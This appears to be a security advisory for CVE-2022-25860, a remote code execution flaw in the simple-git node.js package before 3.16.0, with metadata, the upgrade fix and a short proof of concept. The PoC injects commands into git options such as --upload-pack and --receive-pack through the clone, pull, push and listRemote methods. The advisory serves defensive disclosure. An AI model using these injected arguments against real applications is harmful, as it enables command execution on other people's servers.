Remote Code Execution (RCE) Affecting simple-git package, versions <3.16.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
3.98% (93rd
percentile)
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- published 23 Jan 2023
- disclosed 20 Dec 2022
- credit Santos Gallegos
Introduced: 20 Dec 2022
CVE-2022-25860 Open this link in a new tabHow to fix?
Upgrade simple-git to version 3.16.0 or higher.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization.
This vulnerability exists due to an incomplete fix of CVE-2022-25912.
PoC
const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);
References
CVSS Scores
version 3.1